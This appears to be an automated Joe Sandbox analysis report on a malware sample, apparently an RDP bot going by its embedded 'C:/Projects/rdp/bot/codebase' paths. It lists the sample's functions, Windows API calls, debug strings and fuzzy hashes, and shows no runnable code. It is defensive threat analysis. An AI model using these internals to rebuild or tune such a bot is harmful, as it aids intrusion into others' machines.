Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: e9924cd01d0b3c7409d57820aa6eabcd1aae7b06c3348024cda31dcf4ca35cf1
Instruction ID: 0e9ac716c991865786f07d6d09f029ebb017b7d7862f2cb8d26eae146a5b70f2
Opcode Fuzzy Hash: e9924cd01d0b3c7409d57820aa6eabcd1aae7b06c3348024cda31dcf4ca35cf1
Instruction Fuzzy Hash: C751AFE1A0C6D242FA265B35EC4027A6650BF96764F140335D96EC76F9EEECEE0D8700

Function 00007FFB23AD42EC Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB23AD4310
htonl.WS2_32 ref: 00007FFB23AD43AC
htons.WS2_32 ref: 00007FFB23AD43BD
connect.WS2_32 ref: 00007FFB23AD43D6
WSAGetLastError.WS2_32 ref: 00007FFB23AD43FC
select.WS2_32 ref: 00007FFB23AD446C
WSAGetLastError.WS2_32 ref: 00007FFB23AD447C
WSAGetLastError.WS2_32 ref: 00007FFB23AD44BE

Part of subcall function 00007FFB23AD3F89: ioctlsocket.WS2_32 ref: 00007FFB23AD3FAF

Part of subcall function 00007FFB23AD3ED4: setsockopt.WS2_32 ref: 00007FFB23AD3EFC
Part of subcall function 00007FFB23AD3ED4: setsockopt.WS2_32 ref: 00007FFB23AD3F28

WSAGetLastError.WS2_32 ref: 00007FFB23AD44EB

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB23AD452D
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23AD44DA
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FFB23AD4374
tcp_connect, xrefs: 00007FFB23AD436D, 00007FFB23AD4488, 00007FFB23AD44A6, 00007FFB23AD44D3, 00007FFB23AD44FC, 00007FFB23AD4526
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FFB23AD44AD
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23AD448F
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23AD4503

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 63e9ccf66588e02df8245d8e493e55658e32edb908cd34c0fc6374329a6fcae3
Instruction ID: fcf3a49a34557c6644b43841f8114cb1e2928e991ac5c85a6ea44e9739b9301c
Opcode Fuzzy Hash: 63e9ccf66588e02df8245d8e493e55658e32edb908cd34c0fc6374329a6fcae3
Instruction Fuzzy Hash: 3E51E9E1B0C6C681FA669B39EC0427D7690EF47B64F5C03B5D82D66AD4DE7CE5068700

Function 00007FFB2273A7B8 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB2273A7D3
CreateThread.KERNEL32 ref: 00007FFB2273A813
GetLastError.KERNEL32 ref: 00007FFB2273A85B
GetLastError.KERNEL32 ref: 00007FFB2273A933

Part of subcall function 00007FFB2273C852: fwrite.MSVCRT ref: 00007FFB2273C8FE
Part of subcall function 00007FFB2273C852: fflush.MSVCRT ref: 00007FFB2273C90A

Strings

ebus_init, xrefs: 00007FFB2273A840, 00007FFB2273A866, 00007FFB2273A93E, 00007FFB2273AA33
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FFB2273A86D
P, xrefs: 00007FFB2273A9AB
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FFB2273A945
Done, xrefs: 00007FFB2273AA2C
P, xrefs: 00007FFB2273A8E2
~, xrefs: 00007FFB2273A9A6
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB2273A847
, xrefs: 00007FFB2273A951
[I] (%s) -> %s, xrefs: 00007FFB2273AA3A
~, xrefs: 00007FFB2273A8D9
, xrefs: 00007FFB2273A879

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 37134f807da23900acccd715bd19fcc5632abb98499871664f25fd8b4a17b3f6
Instruction ID: 61f4115b9f2703944623722725c6c005a981bb1e8ef75437f1351c2db10161f6
Opcode Fuzzy Hash: 37134f807da23900acccd715bd19fcc5632abb98499871664f25fd8b4a17b3f6
Instruction Fuzzy Hash: 3651D9E4F0C68382FB734B34DC963B922509B16325F544236C5AE862F19EDE6D86D287

Function 00007FFB227617F8 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB22761813
CreateThread.KERNEL32 ref: 00007FFB22761853
GetLastError.KERNEL32 ref: 00007FFB2276189B
GetLastError.KERNEL32 ref: 00007FFB22761973

Part of subcall function 00007FFB22769DC2: fwrite.MSVCRT ref: 00007FFB22769E6E
Part of subcall function 00007FFB22769DC2: fflush.MSVCRT ref: 00007FFB22769E7A

Strings

P, xrefs: 00007FFB22761922
, xrefs: 00007FFB227618B9
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FFB22761985
ebus_init, xrefs: 00007FFB22761880, 00007FFB227618A6, 00007FFB2276197E, 00007FFB22761A73
~, xrefs: 00007FFB22761919
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB22761887
[I] (%s) -> %s, xrefs: 00007FFB22761A7A
, xrefs: 00007FFB22761991
P, xrefs: 00007FFB227619EB
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FFB227618AD
Done, xrefs: 00007FFB22761A6C
~, xrefs: 00007FFB227619E6

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 757770ca1de49ac790da81443b3dcfdead16b8c2d60ba284c8a3f9fc14969c1f
Instruction ID: c5366bfd14612bc3c0ac13dc0aa3a5109ff4f0d7c6fd124a2629807bf9816c15
Opcode Fuzzy Hash: 757770ca1de49ac790da81443b3dcfdead16b8c2d60ba284c8a3f9fc14969c1f
Instruction Fuzzy Hash: C751C7A0E0C7C382F6625734EE893782250AB1B365F244736C56EC63F1DEEEAD858355

Function 00007FFB23B064F8 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23B06513
CreateThread.KERNEL32 ref: 00007FFB23B06553
GetLastError.KERNEL32 ref: 00007FFB23B0659B
GetLastError.KERNEL32 ref: 00007FFB23B06673

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

Strings

~, xrefs: 00007FFB23B06619
, xrefs: 00007FFB23B06691
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FFB23B06685
, xrefs: 00007FFB23B065B9
Done, xrefs: 00007FFB23B0676C
~, xrefs: 00007FFB23B066E6
P, xrefs: 00007FFB23B06622
ebus_init, xrefs: 00007FFB23B06580, 00007FFB23B065A6, 00007FFB23B0667E, 00007FFB23B06773
P, xrefs: 00007FFB23B066EB
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FFB23B065AD
[I] (%s) -> %s, xrefs: 00007FFB23B0677A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23B06587

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: ef59d220299792993e2acb5900f029ddfc2e5e1dfdde3bc2bfbb754bd10fac16
Instruction ID: b7ad97d3ef5837236ae7f244a13453ccad31674bb9b79cf07e1b77924aa88e2d
Opcode Fuzzy Hash: ef59d220299792993e2acb5900f029ddfc2e5e1dfdde3bc2bfbb754bd10fac16
Instruction Fuzzy Hash: 3051D8E8E0CAA781FA264F74EDCC37C1250DF05364E1C43B6C9EE262E5DE6DA9858341

Function 00007FFB227017F8 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB22701813
CreateThread.KERNEL32 ref: 00007FFB22701853
GetLastError.KERNEL32 ref: 00007FFB2270189B
GetLastError.KERNEL32 ref: 00007FFB22701973

Part of subcall function 00007FFB227040D2: fwrite.MSVCRT ref: 00007FFB2270417E
Part of subcall function 00007FFB227040D2: fflush.MSVCRT ref: 00007FFB2270418A

Strings

[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FFB22701985
~, xrefs: 00007FFB227019E6
ebus_init, xrefs: 00007FFB22701880, 00007FFB227018A6, 00007FFB2270197E, 00007FFB22701A73
P, xrefs: 00007FFB227019EB
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FFB227018AD
, xrefs: 00007FFB227018B9
, xrefs: 00007FFB22701991
P, xrefs: 00007FFB22701922
~, xrefs: 00007FFB22701919
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB22701887
[I] (%s) -> %s, xrefs: 00007FFB22701A7A
Done, xrefs: 00007FFB22701A6C

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 1349c7ec8fcd76a7de27cf9f5af4e28e56b4df2844306dffd2769c088d887277
Instruction ID: 40729063ddce983ac1fdca23e6a80e17d84d66ba8fd6008e0e4ea0d289dc6bfe
Opcode Fuzzy Hash: 1349c7ec8fcd76a7de27cf9f5af4e28e56b4df2844306dffd2769c088d887277
Instruction Fuzzy Hash: 4451B9E0E0C6C381FA2A8B74EC9537812509F06374F244336C56E862F1AEDDAE899359

Function 00007FFB23AD2B78 Relevance: 28.1, APIs: 4, Strings: 12, Instructions: 137threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FFB23AD2B93
CreateThread.KERNEL32 ref: 00007FFB23AD2BD3
GetLastError.KERNEL32 ref: 00007FFB23AD2C1B
GetLastError.KERNEL32 ref: 00007FFB23AD2CF3

Part of subcall function 00007FFB23AD1352: fwrite.MSVCRT ref: 00007FFB23AD13FE
Part of subcall function 00007FFB23AD1352: fflush.MSVCRT ref: 00007FFB23AD140A

Strings

Done, xrefs: 00007FFB23AD2DEC
, xrefs: 00007FFB23AD2D11
~, xrefs: 00007FFB23AD2D66
P, xrefs: 00007FFB23AD2CA2
~, xrefs: 00007FFB23AD2C99
[E] (%s) -> Failed(err=%08x), xrefs: 00007FFB23AD2C07
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu), xrefs: 00007FFB23AD2C2D
[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu), xrefs: 00007FFB23AD2D05
ebus_init, xrefs: 00007FFB23AD2C00, 00007FFB23AD2C26, 00007FFB23AD2CFE, 00007FFB23AD2DF3
, xrefs: 00007FFB23AD2C39
[I] (%s) -> %s, xrefs: 00007FFB23AD2DFA
P, xrefs: 00007FFB23AD2D6B

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: ErrorLast$CountCreateCriticalInitializeSectionSpinThreadfflushfwrite
String ID: $ $Done$P$P$[E] (%s) -> CreateThread(routine_rx) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_subscribers) failed(gle=%lu)$[I] (%s) -> %s$ebus_init$~$~
API String ID: 1412730629-3633878399
Opcode ID: 2f0353d3db8fb330f785c6b32531c3accab744cb25dd3148899e22b66600bbd7
Instruction ID: 93f2175aa817333ef3fbd2e82b0faabe9772192cb275143ae5cee37152dbf2fb
Opcode Fuzzy Hash: 2f0353d3db8fb330f785c6b32531c3accab744cb25dd3148899e22b66600bbd7
Instruction Fuzzy Hash: A4510BA0A2CBCB85F7625B34DC8437D1290AF06365F1C03B2C96E662E5DE5E6986D341

Function 00007FF7AABD3452 Relevance: 27.2, APIs: 7, Strings: 11, Instructions: 241memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AABE8500,00000000,00000000), ref: 00007FF7AABD349D
HeapFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AABE8500,00000000,00000000), ref: 00007FF7AABD34AE

Part of subcall function 00007FF7AABD4FC5: fopen.MSVCRT ref: 00007FF7AABD500A
Part of subcall function 00007FF7AABD4FC5: fseek.MSVCRT ref: 00007FF7AABD5029
Part of subcall function 00007FF7AABD4FC5: _errno.MSVCRT ref: 00007FF7AABD503D
Part of subcall function 00007FF7AABD4FC5: _errno.MSVCRT ref: 00007FF7AABD5058

GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AABE8500,00000000,00000000), ref: 00007FF7AABD35DA
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AABE8500,00000000,00000000), ref: 00007FF7AABD35EB
strncpy.MSVCRT ref: 00007FF7AABD372C
strncpy.MSVCRT ref: 00007FF7AABD3743
strncpy.MSVCRT ref: 00007FF7AABD37A2

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

[I] (%s) -> Done(path=%s), xrefs: 00007FF7AABD3808
(path != NULL), xrefs: 00007FF7AABD3514
service, xrefs: 00007FF7AABD345D
mem_alloc, xrefs: 00007FF7AABD3633
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7AABD363A
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF7AABD350D
NULL, xrefs: 00007FF7AABD37F2
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD34E6
ini_load, xrefs: 00007FF7AABD34DF, 00007FF7AABD351B, 00007FF7AABD3801
5, xrefs: 00007FF7AABD3505
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD3522

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: Heap$strncpy$Process_errno$AllocFreefflushfopenfseekfwrite
String ID: (path != NULL)$5$C:/Projects/rdp/bot/codebase/ini.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(path=%s)$ini_load$mem_alloc$service
API String ID: 1423203057-455140666
Opcode ID: f50e9b3dd0fca16c9fcd6d8fb6605af767c60272be40fce02ffdc5a75f97fa7f
Instruction ID: f0061e538eed335c3d8cb90b7b10d4d4ccf6875eac0340065fe2ae0710b0d27a
Opcode Fuzzy Hash: f50e9b3dd0fca16c9fcd6d8fb6605af767c60272be40fce02ffdc5a75f97fa7f
Instruction Fuzzy Hash: CEA1F4A2A0F682D1FA60AB01E4447B9AB50AF54788FCA44B5DE4D077E6DF3CE547C720

Function 00007FF7AABD9242 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF7AABD929C
RegQueryValueExA.KERNEL32 ref: 00007FF7AABD93E4

Part of subcall function 00007FF7AABD2EF2: fwrite.MSVCRT ref: 00007FF7AABD2F9E
Part of subcall function 00007FF7AABD2EF2: fflush.MSVCRT ref: 00007FF7AABD2FAA

Strings

(value_sz != NULL), xrefs: 00007FF7AABD93A2
(value != NULL), xrefs: 00007FF7AABD936F
registry_get_value, xrefs: 00007FF7AABD92B7, 00007FF7AABD9310, 00007FF7AABD9343, 00007FF7AABD9376, 00007FF7AABD93A9, 00007FF7AABD940B, 00007FF7AABD9556, 00007FF7AABD96D4
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF7AABD96DB
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF7AABD955D
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF7AABD9412
(root != NULL), xrefs: 00007FF7AABD9309
C:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF7AABD9302, 00007FF7AABD9335, 00007FF7AABD9368, 00007FF7AABD939B
(key != NULL), xrefs: 00007FF7AABD933C
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF7AABD92BE
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD9317, 00007FF7AABD934A, 00007FF7AABD937D, 00007FF7AABD93B0
NULL, xrefs: 00007FF7AABD943E, 00007FF7AABD96EC, 00007FF7AABD96F8

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: (key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$C:/Projects/rdp/bot/codebase/registry.c$NULL$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-910542497
Opcode ID: d3e153d5162876c951e0a18dd3ff242136115f62eb196bb78df5ab11fa445c98
Instruction ID: 325825740e6649093313b6a8f011be830fc16de359db7a9a727604765f31c167
Opcode Fuzzy Hash: d3e153d5162876c951e0a18dd3ff242136115f62eb196bb78df5ab11fa445c98
Instruction Fuzzy Hash: 75A1307090F74BC5FA70B700A4503B8A654AF10748FC645B2DA1E46EF1FE6EE9879322

Function 00007FFB23AB3553 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 134memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB23AB363E
HeapAlloc.KERNEL32 ref: 00007FFB23AB3652
CreateThread.KERNEL32 ref: 00007FFB23AB3694
EnterCriticalSection.KERNEL32 ref: 00007FFB23AB36AA
LeaveCriticalSection.KERNEL32 ref: 00007FFB23AB36D1
GetLastError.KERNEL32 ref: 00007FFB23AB3721
GetProcessHeap.KERNEL32 ref: 00007FFB23AB3752
HeapFree.KERNEL32 ref: 00007FFB23AB3763

Strings

mem_alloc, xrefs: 00007FFB23AB36F9
routine_accept, xrefs: 00007FFB23AB357E, 00007FFB23AB36DB, 00007FFB23AB372E
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB23AB3700
[I] (%s) -> Server ready(ssock=0x%llx), xrefs: 00007FFB23AB3585
[E] (%s) -> CreateThread(routine_rx) failed(client=0x%llx,gle=%lu), xrefs: 00007FFB23AB3735
[I] (%s) -> Client accepted(client=0x%llx), xrefs: 00007FFB23AB36E2

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: Heap$CriticalProcessSection$AllocCreateEnterErrorFreeLastLeaveThread
String ID: [E] (%s) -> CreateThread(routine_rx) failed(client=0x%llx,gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Client accepted(client=0x%llx)$[I] (%s) -> Server ready(ssock=0x%llx)$mem_alloc$routine_accept
API String ID: 871770459-375624272
Opcode ID: f8c33c4a360ef6605c9394e17d8449d9f368e4f65d6596517dbd2c321b63955d
Instruction ID: d57445bfe3962096a073f5c189efaf7a4d129d3550a7e8d82dd7b6ba4cfb87d9
Opcode Fuzzy Hash: f8c33c4a360ef6605c9394e17d8449d9f368e4f65d6596517dbd2c321b63955d
